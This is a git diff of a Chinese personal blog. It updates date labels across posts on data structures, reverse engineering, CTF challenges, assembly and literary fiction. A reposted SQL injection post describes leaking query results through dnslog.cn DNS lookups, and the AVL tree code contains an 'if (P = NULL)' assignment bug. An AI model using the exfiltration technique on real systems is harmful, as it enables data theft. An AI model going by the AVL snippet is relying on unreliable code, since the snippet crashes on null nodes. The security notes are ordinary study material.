diff --git a/2021/02/07/avlinsert/index.html b/2021/02/07/avlinsert/index.html index 49515831..9322de2b 100644 --- a/2021/02/07/avlinsert/index.html +++ b/2021/02/07/avlinsert/index.html @@ -1,4 +1,4 @@ -AVL树Insert与Delete函数分析(C++) | TokameinE - 雨声淅淅沥沥,犬吠永不止息

AVL树Insert与Delete函数分析(C++)

文章发布时间:

最后更新时间:

插入函数Insert

先放一下代码。因为是照着黑皮书《数据结构与算法分析》学的,所以代码大致和书上的一样,我并没有做太多修改。只是在理解原理的时候有些比较棘手的地方,所以在这里记笔记,方便以后查看。

+}

AVL树Insert与Delete函数分析(C++)

First Post:

Last Update:

插入函数Insert

先放一下代码。因为是照着黑皮书《数据结构与算法分析》学的,所以代码大致和书上的一样,我并没有做太多修改。只是在理解原理的时候有些比较棘手的地方,所以在这里记笔记,方便以后查看。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
int max(int n1,int n2)
{
if (n1 >= n2)
return n1;
else
return n2;
}
//取最大值

static int Height(position P)
{
if (P = NULL)
return -1;
else
return P->height;
}
//获取高度//只是通过结构内定义的高度去取值,没有测算

static position SingleRotateWithLeft(position K2)
{
position K1;
K1 = K2->left;
K2->left = K1->right;
K1->right = K2;
K1->height = max(Height(K1->left), Height(K1->right)) + 1;
K2->height = max(Height(K2->left), Height(K2->right)) + 1;
return K1;
}
//单旋转(左树旋转)

static position DoubleRotateWithLeft(position K3)
{
K3->left = SingleRotateWithRight(K3->left);
return SingleRotateWithLeft(K3);
}
//双旋转(左树旋转)

static position SingleRotateWithRight(position K1)
{
position K2;
K2 = K1->right;
K1->right = K2->left;
K2->left = K1;
K1->height = max(Height(K1->left), Height(K1->right)) + 1;
K2->height = max(Height(K2->left), Height(K2->right)) + 1;
return K2;
}
//单旋转(右树旋转)

static position DoubleRotateWithRight(position K3)
{
K3->right = SingleRotateWithLeft(K3->right);
return SingleRotateWithRight(K3);
}
//双旋转(右树旋转)

avltree insert(int X,avltree T)
{
if (T == NULL)
{
//T为空节点
T = new avlnode;//假定空间永远是足够的
T->height = 0;
T->left = T->right = NULL;
T->info = X;
}
if (X < T->info)
{
T->left = insert(X, T->left);
if (Height(T->left) - Height(T->right) >= 2)//事实上等于2才是最合适的
{
if (X < (T->left->info))
T = SingleRotateWithLeft(T);
else
T = DoubleRotateWithLeft(T);
}
}
else if (X > T->info)
{
T->right = insert(X, T->right);
if (Height(T->right) - Height(T->left) >= 2)//事实上等于2才是最合适的
{
if (X > (T->right->info))
T = SingleRotateWithRight(T);
else
T = DoubleRotateWithRight(T);
}
}
T->height = max(Height(T->left), Height(T->right)) + 1;
return T;
}

如果你也有这本书,并且已经看过这一部分关于avl的描述了,那么关于“什么是avl树”以及这些代码的作用至少是明白的,这里我主要是对书中所写的insert函数做些笔记。

@@ -113,7 +113,7 @@

其他情况也是相同,判断是否旋转,并判断应该选择哪一种旋转。

且在每一轮的递归里,都重新计算了高度。

至此,整个函数完成了删除节点的全部流程。

-

灰与鹿糜

文章发布时间:

最后更新时间:

路边破碎的玻璃瓶里积满了昨天下过的雨,折射出上个世纪以来不曾改变的炫目的光。在梦境边际急转回旋的羽翼开始焦黑,可即便坠入深海,却在刻薄的海水包围下被焚烧殆尽。一切都不过如盛夏的烟花般绚烂而短暂,晦涩的字句会被吞进幽深大海,如灰烬一般悄然盛开。

+}

灰与鹿糜

First Post:

Last Update:

路边破碎的玻璃瓶里积满了昨天下过的雨,折射出上个世纪以来不曾改变的炫目的光。在梦境边际急转回旋的羽翼开始焦黑,可即便坠入深海,却在刻薄的海水包围下被焚烧殆尽。一切都不过如盛夏的烟花般绚烂而短暂,晦涩的字句会被吞进幽深大海,如灰烬一般悄然盛开。

上个世纪的惨剧酿成了现在这副绝景——满城的寂静与颓然。就连空气都如猛毒般剧烈,呼吸也沦为苦难。即使灾难与厄难都已经远去,这里仍被所有人抗拒。异变的巨鼠分明早已灭绝,疯长的藤蔓也已被拔除,可即便满城堆积的繁茂且多余的饰品已被清除干净,卸下了那副臃肿丑陋的样貌,异物还是异物。

土墙上透风的孔正如这个萎焉的国家,再无余力重建灯火与宫阙。这里早已是我们的乐园,是不受拘束的乐土,更是没有催债人嘶吼与殴打的伊甸。全国各地的流浪者都涌向这里,让卑劣与低贱在这里流行起来。

靠吞服安眠药睡去的日子也慢慢远去了,它们渐渐不再起效。我每日每夜都在期待再也不会醒来的日子到来,但这十年来一次也没有发生。背包里装着一叠又一叠的相片,是这数十年来徒步旅行中的各类见闻,可直到它们全都泛黄了,我也没能拍下任何一张能令自己满意的风景。我几欲烧掉这些不能为我换来哪怕半块面包的东西,但又觉得毫无意义,终究还是最为窝囊的维持着现状。

@@ -104,7 +104,7 @@

落叶与大地寻往自由,枯干托起沉重;卸下纠缠的层层泥土,埋没银怀表。

何故要去留恋与土地纠缠的岁月,又何故愿被修剪枝叶?拔去利刺的荆棘与藤蔓何异,可这雨林容不下尖刺与棘。它那垂下的荆条向着无害的方向进化,顽固则被卸除,装作理智的绵羊将要复苏,悬空终要回归大地……

他拥抱坠落的废墟,被埋进泥海;曾到往星海的瓦砾,携不来半片星骸。淌出的青汁汇入沟壑,鼓动如岩浆蔓延。纷争亦不过是风化的褐岩,没有我所写下的一切。

-

泯痕卸负

文章发布时间:

最后更新时间:

此刻,独自伫立于雨中的他,被锁在了积水交汇的低洼。雨丝从天空坠落,将他的皮肤寸寸割裂,数不清的鲜红于寒雨坠落处喷涌,最后一并汇聚于脚下。疼痛、疲乏,它们一并交融聚合,然后溃灭消散。

+}

泯痕卸负

First Post:

Last Update:

此刻,独自伫立于雨中的他,被锁在了积水交汇的低洼。雨丝从天空坠落,将他的皮肤寸寸割裂,数不清的鲜红于寒雨坠落处喷涌,最后一并汇聚于脚下。疼痛、疲乏,它们一并交融聚合,然后溃灭消散。

长久以来,这座荒凉的小镇已经被遗弃了不知道多少年。在岁月的无情冲刷下,没有人能够再次想起这里,就连旧迹也在时光折磨之下逐渐溢散。也许在不久的将来,小镇就会从这荒唐的故土消失吧。

寒风过境,掀起阵阵沙土,似要以此淹没小镇。远方,孤身一人的旅者行走在这片荒凉的土地上。寒风刮起一阵尘土,将旅人的视线遮蔽。他用手挡下迎面扑来的风沙,透过指缝,将视线投向了寒风远去的方向,于土丘被掀开的空隙,一座孤镇映入瞳孔。在它将要消逝的最后一刻,迎来了它的最后一名旅人。

寒风催促着旅人快些进入古镇,可旅人却始终迈着沉重的步伐缓步前行着。他的背上背负了太多行李。此生积累的所有错误与已经腐烂的尸骸,他都不舍得丢弃。本就举步维艰,却能够拖着沉重的步伐移动,真是十分了不起的觉悟。凭借着心中的执着,他踏入了这座古镇的最后一刻。

@@ -35,7 +35,7 @@

森雨闪烁着寒芒,仍在他的身上留下密密麻麻的骇人的血孔。他的身体终于不堪重负,被压垮在水洼里。狂风撕咬着小镇的血肉,让它再无法继续维持自己的存在。旅人同样也被啃噬殆尽。尽管吞食这毫无营养的血肉没有任何意义,但在这荒凉的土地上却也不会再有别的美餐了。

血肉渐渐从枯干上被剥离,暴露出灰色的骨架;意识早在此前的苦难中被抹杀,留存下的仅剩肮脏的本能。身上的重负终是被他卸下,可谁都没有将它们断罪。是啊,它们同旅人和小镇一起消逝在时间的洪流里,所有的痕迹都被抹杀殆尽。又有谁是不能原谅的可怜虫呢?

雨停了,久久不见天日的故土终于重见天日。本应立于土丘之上的某物,如今却与土丘融为一体;本该有一位旅人来过此处,如今就连行囊也不见了踪影。即便乌云褪去,阳光洒在故土之上,也再无能够得见天空的旅人,与其所背负的沉重……

-

通感症Synaesthesia

文章发布时间:

最后更新时间:

X001

+}

通感症Synaesthesia

First Post:

Last Update:

X001

当我从战场上归来的时候,躯壳几乎难以容纳灵魂。浑身上下,除却头部以外净是血洞,鲜血止不住地向外涌出,聊胜于无的绷带试图留住它们,也不过是毫无意义的徒劳。

我艰难地向着故乡的方向走去,但双腿却无论如何也迈不出去。刚抬起来,又落下去,拄着拐杖的手也颤抖不止,鲜血顺着手臂从拐杖上滑落,将它染成了残阳的颜色。就连猩红与赤红都难以区分的我,坚持这种神志不清地逃亡又能持续到何时呢?

脚边偶尔传来的阵沙沙声让我越发的烦躁,可我就连低头的力气都没有了。我担心自己一旦低下了头,就再也抬不起来了。身体轻盈如纸,感知却沉重如山,我略感欣喜,却愤怒不已。也许我会因身体前所未有的轻盈而喜,又可能会为此刻的寸步难行而怒。就连精神都被着残阳炙烤到歪曲,我想,我也许只能到此为止了。

@@ -178,7 +178,7 @@

我打算离开了,再不要留在这里同他一起风化。为了方便起见,我将那副镣铐戴在了自己的左臂上。不带半点怜悯,没有丝毫犹豫,径直离开了沙漠。不被挽留,不假思索,我回到了那座工房,我回到了故土。我的愿望破灭了,我的愿望实现了。

X000

你可以尽情地嘲笑我,我很清楚自己的分量。我既是那片伊甸的创造者,亦是那里的神。可只有我没能得到它的入场券,只有我不被允许逃进那片伊甸,没有人会为我指路,亦无人肯为我立墓。

-

记python2安装Opencv-python库报错解决方案

文章发布时间:

最后更新时间:

报错信息:

+}

记python2安装Opencv-python库报错解决方案

First Post:

Last Update:

报错信息:

调错思路:(感谢群里师傅提供的帮助)

echo $EXT_SUFFIX

@@ -27,7 +27,7 @@

反思:

最终只是修改了一下安装的版本便不再报错,算是明白看不懂报错信息是多么致命的缺陷了…..

个人并没有细究python的种种,平日也很少用到这一语言。这次的错误算是给自己一个教训吧,总之要先把错误报告看懂,再思考怎么解决……

-

红葡萄酒之疫

文章发布时间:

最后更新时间:

序言:

+}

红葡萄酒之疫

First Post:

Last Update:

序言:

这个故事发生在一座名为“瑞蒂克洛斯”的城市。那里具体发生了什么我也不太清楚,但我有幸目睹了那场混乱的片段(我并不太清楚到底从哪个时间点开始才能算作算开端,所以不清楚自己是否得知全部的细节)。我既是旅人也是小说家,但本职或许是个记者,偶尔会写写报道和小说什么的,于是我觉得自己应该为这个人写点什么。哪怕我既怠惰又无能,也想把这份不被称为艺术的艺术留下。于是,就有了这么一则灰白色的故事。

正文:

认识他的人,都说他是败类,是人类的残渣,可事实上,谁都没有这么说过。人们从没把他当一回事,只是热衷于对他犯下的恶行进行批判罢了。或许,这就是这座城市的潮流。

@@ -59,7 +59,7 @@

我们并没有碰过面,更没有实际交流过。或许这一切都只是我的臆想和愿望,希望他是我所期望的人,但这都无关紧要。我毕竟没能与他讨论艺术,自然也不可能明白他所期望的结局是什么样的,但他的作品无论有我没我,都早已完成了。哪怕多出这么一片关于他的故事,想必也不会有任何改变吧。

只是我在那之后很快就离开了那里,由的于工作原因,我必须漂泊于世界各地,于是他的照片迟迟没能发布,现在也被珍藏在瑞蒂克洛斯——他曾经的住所中。

——糜鹿手记

-

散列Hash

文章发布时间:

最后更新时间:

注:学习过程参照《数据结构与算法分析——C语言描述》,虽然我个人是用C++实现,但代码大致上与书中一致。如果您发现了某些错误,欢迎指正。

+}

散列Hash

First Post:

Last Update:

注:学习过程参照《数据结构与算法分析——C语言描述》,虽然我个人是用C++实现,但代码大致上与书中一致。如果您发现了某些错误,欢迎指正。

[toc]

一种映射方式。给定一个关键字,将它映射到一张表上对应的单元格。这里展示一种Hash函数:

1
2
3
4
5
6
7
unsigned int Hash(const char* key, int TableSize)
{
unsigned int HashVal = 0;
while (*key != '\0')
HashVal = (HashVal << 5) + *key++;
return HashVal % TableSize;
}
@@ -137,7 +137,7 @@

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
HashTable ReHash(HashTable H)
{
int OldSize;
OldSize = H->TableSize;
Cell* OldCells;
OldCells = H->TheCells;
H = InitializeTable(2 * OldSize);
for (int i = 0; i < OldSize; i++)
{
if (OldCells[i].Info == Legitimate)
Insert(OldCells[i].Key, H);
}
delete[] OldCells;
return H;
}

    很好理解的,书上给的代码相当易懂,就不解释了。

-

优先队列(堆)

文章发布时间:

最后更新时间:

    学习过程跟进《数据结构与算法分析》,主要代码大致与树种例程相同,若有疏漏或错误,请务必提醒我,我会尽力修正。

+}

优先队列(堆)

First Post:

Last Update:

    学习过程跟进《数据结构与算法分析》,主要代码大致与树种例程相同,若有疏漏或错误,请务必提醒我,我会尽力修正。

目录:

SQL注入相关

文章发布时间:

最后更新时间:

本篇文章转载自:https://www.anquanke.com/post/id/205376#h2-0

+}

SQL注入相关

First Post:

Last Update:

本篇文章转载自:https://www.anquanke.com/post/id/205376#h2-0

对SQL注入的学习结束后将会对本文进行改编和补充,届时将会重新发布自己编写的版本。

//————————————–//

[toc]

@@ -442,7 +442,7 @@

相当于访问了select database().子域名.dnslog.cn,于是会留下DNSLOG记录,可从这些记录中查看SQL返回的信息。

YDHFRH.png

-

常用命令 与 其他注释

文章发布时间:

最后更新时间:

因为网上各种各样的笔记都不如自己写一遍来得方便查阅,所以按照自己的喜好整理一下汇编的笔记。目前跟着Kip Irvine的书才学到第六章(条件跳转),所以再之后的笔记暂时保留,等之后学完了再整理吧。

+}

常用命令 与 其他注释

First Post:

Last Update:

因为网上各种各样的笔记都不如自己写一遍来得方便查阅,所以按照自己的喜好整理一下汇编的笔记。目前跟着Kip Irvine的书才学到第六章(条件跳转),所以再之后的笔记暂时保留,等之后学完了再整理吧。

部分表格来源于:

https://blog.csdn.net/qq_36982160/article/details/82950848

插图ID:87882344

@@ -340,7 +340,7 @@

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
.386;表示为32位程序
.model flat,stdcall;储存形式 声明(内存模式/调用规范)
.stack 4096; 表示分配4096字节空间用于堆栈
ExitProcess PROTO,dwExitCode:DWORD
INCLUDE Irvine32.inc;调用链接库
;分号在汇编中为注释符
.data ;可在下方申请变量
VALL BYTE 20h,30h,40h,50h;数组声明
greet BYTE "hello world",0
BYTE "i want to creat a program",0dh,0ah
byte "so i try to exit this greet ",0dh,0ah,0
;字符串声明

.data? ;同样是声明变量的区域

.code ;程序代码区起始点 标记
main PROC ;程序入口
mov eax,0
mov ebx,5
mov ecx,7
call SumOf

INVOKE ExitProcess,0
main ENDP ;过程的结束
SumOf PROC ;类似于函数,通过call指令调用
add eax,ebx
add eax,ecx
ret
SumOf ENDP
END main ;程序的结束

排序Sort(代码与笔记)

文章发布时间:

最后更新时间:

[toc]

+}

排序Sort(代码与笔记)

First Post:

Last Update:

[toc]

插入排序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
void InsertionSort(int *source,int N)//升序
{
int j, p,tmp;
for (p = 1; p < N; p++)
{
tmp = source[p];
for (j = p; j > 0 && source[j - 1] > tmp; j--)
source[j] = source[j - 1];
source[j] = tmp;
}
}
void ShellSort(int *Source,int *Incrementlist,int N1)
{
int i, j, tmp,increment,s;
for (s = 0;; s++)
{
if (Incrementlist[s] > N1)
break;
}
s--;
for (increment = Incrementlist[s]; s>=0 ;s--)
{
for (i = increment; i < N1; i++)
{
tmp = Source[i];
for (j = i; j >= increment; j -= increment)
if (tmp < Source[j - increment])
Source[j] = Source[j - increment];
else
break;
Source[j] = tmp;
}
}
}
//Hibbard:Dk=2^k-1 {1,3,7,15......}
//Sedgewick:{1,5,19,41,109......}

堆排序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
void PercDown(int *Source,int i,int N)
{
int Child,Tmp;
for (Tmp = Source[i]; 2 * i + 1 < N; i = Child)
{
Child = 2 *i +1;
if (Child != N - 1 && Source[Child + 1] > Source[Child])
Child++;
if (Tmp < Source[Child])
Source[i] = Source[Child];
else
break;
}
Source[i] = Tmp;
}
void HeapSort(int *Source,int N)
{
int i;
for (i = N / 2; i >= 0; i--)
PercDown(Source, i, N);
for (i = N - 1; i > 0; i--)
{
Swap(&Source[0],&Source[i]);
PercDown(Source, 0, i);
}
}
void Swap(int *a,int *b)
{
int tmp = *a;
*a = *b;
*b = tmp;
}
@@ -57,7 +57,7 @@

PE结构详解

文章发布时间:

最后更新时间:

本篇笔记以我个人能够理解为基础,尽可能将其写成其他人也能明白的笔记。如果发现其中存在错误,请务必指正。

+}

PE结构详解

First Post:

Last Update:

本篇笔记以我个人能够理解为基础,尽可能将其写成其他人也能明白的笔记。如果发现其中存在错误,请务必指正。

范本与工具:010Editor & Notepad.exe & kernel32.dll

PE文件种类:

种类

@@ -148,7 +148,7 @@
1
2
3
4
5
typedef struct _IMAGE_NT_HEADERS {
DWORD Signature;
IMAGE_FILE_HEADER FileHeader;
IMAGE_OPTIONAL_HEADER32 OptionalHeader;
} IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32;

-
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#define IMAGE_FILE_MACHINE_UNKNOWN           0
#define IMAGE_FILE_MACHINE_TARGET_HOST 0x0001 // Useful for indicating we want to interact with the host and not a WoW guest.
#define IMAGE_FILE_MACHINE_I386 0x014c // Intel 386.
#define IMAGE_FILE_MACHINE_R3000 0x0162 // MIPS little-endian, 0x160 big-endian
#define IMAGE_FILE_MACHINE_R4000 0x0166 // MIPS little-endian
#define IMAGE_FILE_MACHINE_R10000 0x0168 // MIPS little-endian
#define IMAGE_FILE_MACHINE_WCEMIPSV2 0x0169 // MIPS little-endian WCE v2
#define IMAGE_FILE_MACHINE_ALPHA 0x0184 // Alpha_AXP
#define IMAGE_FILE_MACHINE_SH3 0x01a2 // SH3 little-endian
#define IMAGE_FILE_MACHINE_SH3DSP 0x01a3
#define IMAGE_FILE_MACHINE_SH3E 0x01a4 // SH3E little-endian
#define IMAGE_FILE_MACHINE_SH4 0x01a6 // SH4 little-endian
#define IMAGE_FILE_MACHINE_SH5 0x01a8 // SH5
#define IMAGE_FILE_MACHINE_ARM 0x01c0 // ARM Little-Endian
#define IMAGE_FILE_MACHINE_THUMB 0x01c2 // ARM Thumb/Thumb-2 Little-Endian
#define IMAGE_FILE_MACHINE_ARMNT 0x01c4 // ARM Thumb-2 Little-Endian
#define IMAGE_FILE_MACHINE_AM33 0x01d3
#define IMAGE_FILE_MACHINE_POWERPC 0x01F0 // IBM PowerPC Little-Endian
#define IMAGE_FILE_MACHINE_POWERPCFP 0x01f1
#define IMAGE_FILE_MACHINE_IA64 0x0200 // Intel 64
#define IMAGE_FILE_MACHINE_MIPS16 0x0266 // MIPS
#define IMAGE_FILE_MACHINE_ALPHA64 0x0284 // ALPHA64
#define IMAGE_FILE_MACHINE_MIPSFPU 0x0366 // MIPS
#define IMAGE_FILE_MACHINE_MIPSFPU16 0x0466 // MIPS
#define IMAGE_FILE_MACHINE_AXP64 IMAGE_FILE_MACHINE_ALPHA64
#define IMAGE_FILE_MACHINE_TRICORE 0x0520 // Infineon
#define IMAGE_FILE_MACHINE_CEF 0x0CEF
#define IMAGE_FILE_MACHINE_EBC 0x0EBC // EFI Byte Code
#define IMAGE_FILE_MACHINE_AMD64 0x8664 // AMD64 (K8)
#define IMAGE_FILE_MACHINE_M32R 0x9041 // M32R little-endian
#define IMAGE_FILE_MACHINE_ARM64 0xAA64 // ARM64 Little-Endian
#define IMAGE_FILE_MACHINE_CEE 0xC0EE

UPack PE文件分析与调试

文章发布时间:

最后更新时间:

    参考文章:https://blog.csdn.net/learn112/article/details/112029389

+}

UPack PE文件分析与调试

First Post:

Last Update:

    参考文章:https://blog.csdn.net/learn112/article/details/112029389

    您可以将本篇文章当作该参考文章的拓展版、翻译版、压缩版,总之算是结合之后自己上手的过程记录。若您发现文章中出现错误,请务必指正。

    封面插图id:81508349

    范例:notepad_upack.exe

@@ -68,7 +68,7 @@

    在图示附近存在存在一个大循环,观察堆栈信息猜测其为程序的解码过程。

Ctrl+F7自动步进调试,最终卡在该处。将数据循环写入ESI当前位置,判断其真的是一个解码过程。至此完成调试。

-

内嵌补丁 与 洞穴代码分析案例

文章发布时间:

最后更新时间:

示范案例:unpackme#1.aC.exe,学习过程参照《逆向工程核心原理》

+}

内嵌补丁 与 洞穴代码分析案例

First Post:

Last Update:

示范案例:unpackme#1.aC.exe,学习过程参照《逆向工程核心原理》

如您发现了某些错误和不规范,请务必指正

插画ID:85939258

内嵌补丁:

@@ -60,7 +60,7 @@

    该文件完成补丁。

注:

还存在一个问题。在实际调试过程中,反调试极有可能出现异常导致中断。原因出自于覆写字符串这一行为并不具有权限,因此调试很可能停在rep movsb上。将文件可写打开之后发现并没能解决问题。解决方案在得到答案后将会补齐。

-

XXTEA加密流程分析

文章发布时间:

最后更新时间:

插图ID:87326553   

+}

XXTEA加密流程分析

First Post:

Last Update:

插图ID:87326553   

代码与图解来自:https://www.jianshu.com/p/4272e0805da3

    对于我这种相关知识欠缺的人来说,光是如此有些难以理解,因此基于该作者的图片与代码试着分析了一下实际的加密过程(也因为网上没能找到具体的文字描述过程,甚至图解的字符解释也没有,所以只能自己对着代码分析了)。

图解:

@@ -63,7 +63,7 @@
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <stdio.h>  
#include <stdint.h>

/* take 64 bits of data in v[0] and v[1] and 128 bits of key[0] - key[3] */

void encipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
unsigned int i;
uint32_t v0=v[0], v1=v[1], sum=0, delta=0x9E3779B9;
for (i=0; i < num_rounds; i++) {
v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
sum += delta;
v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
}
v[0]=v0; v[1]=v1;
}

void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
unsigned int i;
uint32_t v0=v[0], v1=v[1], delta=0x9E3779B9, sum=delta*num_rounds;
for (i=0; i < num_rounds; i++) {
v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
sum -= delta;
v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
}
v[0]=v0; v[1]=v1;
}

-

Linux学习笔记

文章发布时间:

最后更新时间:

常规命令格式:command [-option] parameter1 parameter2 ……

+}

Linux学习笔记

First Post:

Last Update:

常规命令格式:command [-option] parameter1 parameter2 ……

文件列表格式:

[-rwxrwxrwx] 链接数 文件拥有者 所属用户组 文件大小 最后被修改时间 文件名

第一节为十个字符,rwx分别表示“可读”“可写”“可执行”,后九个分别表示三个用户组所拥有的权限。第一个字符表示文件类型(d-目录/“-”-文件/l-链接文件/b-设备/c-端口设备/)

@@ -100,7 +100,7 @@

放置共享文件的地方,在这个目录下放置的数据几乎是不分硬件架构均可读取的数据, 因为几乎都是文本文件嘛。在此目录下常见的还有这些次目录:/usr/share/man:联机帮助文件/usr/share/doc:软件杂项的文件说明/usr/share/zoneinfo:与时区有关的时区文件

/usr/src/ 

一般原始码建议放置到这里,src有source的意思。至于核心原始码则建议放置到/usr/src/linux/目录下。

-

《IDA权威指南》 Note

文章发布时间:

最后更新时间:

插图ID:87390511

+}

《IDA权威指南》 Note

First Post:

Last Update:

插图ID:87390511

笔记主要用作字典,记录仅为了方便自己的查阅

调用约定:

1
2
3
4
5
6
7
8
9
10
11
12
13
void demo_cdecl(int x,int y);
;demo_cdecl(1,2);
//-----------------------//
push 2; push y
push 1; push x
call demo_cdecl
add esp,8
//-----------------------//
mov [esp+4],2
mov [esp],1
call demo_cdecl
//-----------------------//
;C调用约定:由调用方清除栈中参数
@@ -55,7 +55,7 @@

热键D:将代码转换为数据(可类似字符串),也可用于修改一定义数据的类型

热键G:跳转至目标地址

热键U:取消当前定义(当IDA错误的将某些数据视作了函数,使用该方法可以修正这种错误)

-

红羊幻梦——随笔杂记

文章发布时间:

最后更新时间:

       匙站在塔罗拉那一望无际的荒原上,这里既没有彩虹,也没有牛羊。有的只是那些乏味的黄褐色枯草和望不到边际的腾跃着尘埃的彼方。他从未离开过塔罗拉,好像双脚扎根在这片贫瘠的土地上,动弹不得。

+}

红羊幻梦——随笔杂记

First Post:

Last Update:

       匙站在塔罗拉那一望无际的荒原上,这里既没有彩虹,也没有牛羊。有的只是那些乏味的黄褐色枯草和望不到边际的腾跃着尘埃的彼方。他从未离开过塔罗拉,好像双脚扎根在这片贫瘠的土地上,动弹不得。

       可是现在,他终于打算离开这里了。他的父母早在数年前离世,而他的妻子也在上个月病逝。他的牵挂已经全都断裂,若孤魂野鬼、亦或游离的躯壳,他现在只想出去散散心,找个僻静而安逸的地方,就此结束这平庸而无谓的一生。

       塔罗拉的人们都习惯把自己葬在这片荒漠里,他们虔诚地信仰着塔罗拉神,相信自己的死亡是回归大地的仪式。于是,满眼都是墓碑,四周净是坟墓。触手可及的漆黑石碑早已被风化,有些未曾相识的人的姓名也不可辨认;那些隐现在尘埃的薄纱中的小小石碑,好像在烈日的灼烤下跳起癫狂的舞。或许这在旁人眼中是一片萧条,但塔罗拉人都觉得——这就是繁荣。

      抽出一截风蚀裸露的白骨,祭拜其原主之后,匙拄着它继续前行。

@@ -40,7 +40,7 @@

      身体与双腿离异,黄沙灌入瞳眸。胸腔塞满了被卷入尘暴的各式各样的碎屑,腕关节脱臼、膝关节失踪、踝关节龟裂、鼻梁骨错位。视界中的一切都开始退化,金黄色的暴风被涂成血红,口腔里是沙砾与腥甜的味道。

      涂抹了一遍又一遍的凄惨,一截落在了妻子的墓旁,另一截不知所踪。

      不过是多了一座不完整的墓碑,与一场不完整的回归。

-

BUUCTF-RE-SimpleRev笔记与思考

文章发布时间:

最后更新时间:

封面ID: 89209550

+}

BUUCTF-RE-SimpleRev笔记与思考

First Post:

Last Update:

封面ID: 89209550

背景:

    初学逆向,遇到的最大问题是“在知道原算法的情况下要如何得出逆算法”;一般的加减乘除确实只需要做相反操作即可,但对于异或和取余等运算则有些麻烦,于是试着写一些可能的解决方案。似乎是数论的内容,但题主目前还未学到那种程度,诸多密码学内容尚且不明,所以以后再作更新。

@@ -59,7 +59,7 @@

    这些字符明显和结果是逆序的,由于我是直接抄出了join函数的实现所以做题的时候并没有遇到这个问题,但事后才发现还有还存在这种问题。

    起因来自Intel架构中的小端序存储方式,具体内容不在此赘述,从结论上来说便是所看到的与实际结果将成逆序。

-

BUUCTF - Youngter-drive笔记与思考 (线程)

文章发布时间:

最后更新时间:

插图ID: 89210183

+}

BUUCTF - Youngter-drive笔记与思考 (线程)

First Post:

Last Update:

插图ID: 89210183

Ⅰ. 解题步骤(省略细节的描述)

Ⅱ. 知识拓展(对各函数作用进行解释)

Ⅰ.

@@ -69,7 +69,7 @@

    一个进程将被加载入一块虚拟内存,而其创造的所有线程都能够访问虚拟内存的任何地方

    也就是说,线程的虚拟内存总是共享的;相反的,其寄存器从不会共享,不同线程无法调用其他线程的寄存器

    既然虚拟内存是共享的,也就是说,每个线程的栈堆是共享的;只要线程能够获取其他线程的指针,就能够调用该线程的栈堆(由此也可推出:将一个线程中的变量入栈,则其他线程便能够调用它)

-

GWCTF 2019 - xxor 笔记与思考

文章发布时间:

最后更新时间:

插图ID : 85072434

+}

GWCTF 2019 - xxor 笔记与思考

First Post:

Last Update:

插图ID : 85072434

对我这种新手来说算是比较怪异的一题了,故此记录一下过程。

解题过程:

    直接放入IDA,并找到main函数,得到如下代码(看了一些其他师傅的WP,发现我们的IDA分析结果各不相同,最明显的就是HIDOWRD和LODWORD函数,该差异将在下文分析)

@@ -78,7 +78,7 @@

-

加壳原理及实现流程与导入表结构分析

文章发布时间:

最后更新时间:

封面ID : 89322214

+}

加壳原理及实现流程与导入表结构分析

First Post:

Last Update:

封面ID : 89322214

前言:

    笔者在学习制作软件外壳之前,一直对这种技术抱有过于简单的看法——即所谓的壳就是将代码段加密之后,往新节区写入解密代码并让OEP转为新节区处。

    总体来说,这种解释并没有什么问题;但这种认识却是非常片面也过于简单的,以至于在实现的过程中接连发生了许多难以预料的问题。这些问题将在本篇下方逐一解释。

@@ -107,7 +107,7 @@

九阳道人:

https://bbs.pediy.com/thread-250960.htm

https://bbs.pediy.com/thread-251267.htm

-

WUSTCTF2020-level3 笔记与自省

文章发布时间:

最后更新时间:

+}

WUSTCTF2020-level3 笔记与自省

First Post:

Last Update:

解题过程:

    直接放入IDA分析,跳入main函数,得到如下内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *v3; // rax
char v5; // [rsp+Fh] [rbp-41h]
char v6[56]; // [rsp+10h] [rbp-40h] BYREF
unsigned __int64 v7; // [rsp+48h] [rbp-8h]

v7 = __readfsqword(0x28u);
printf("Try my base64 program?.....\n>");
__isoc99_scanf("%20s", v6);
v5 = time(0LL);
srand(v5);
if ( (rand() & 1) != 0 )
{
v3 = base64_encode(v6);
puts(v3);
puts("Is there something wrong?");
}
else
{
puts("Sorry I think it's not prepared yet....");
puts("And I get a strange string from my program which is different from the standard base64:");
puts("d2G0ZjLwHjS7DmOzZAY0X2lzX3CoZV9zdNOydO9vZl9yZXZlcnGlfD==");
puts("What's wrong??");
}
return 0;
}
@@ -56,7 +56,7 @@

    所以最后还是自己瞎忙活一通,算是吃个瘪长个教训吧…… ​

插画ID:89345225

-

Zer0pts2020 - easy strcmp 分析与加法

文章发布时间:

最后更新时间:

+}

Zer0pts2020 - easy strcmp 分析与加法

First Post:

Last Update:

    无壳,放入IDA自动跳到main函数

1
2
3
4
5
6
7
8
9
10
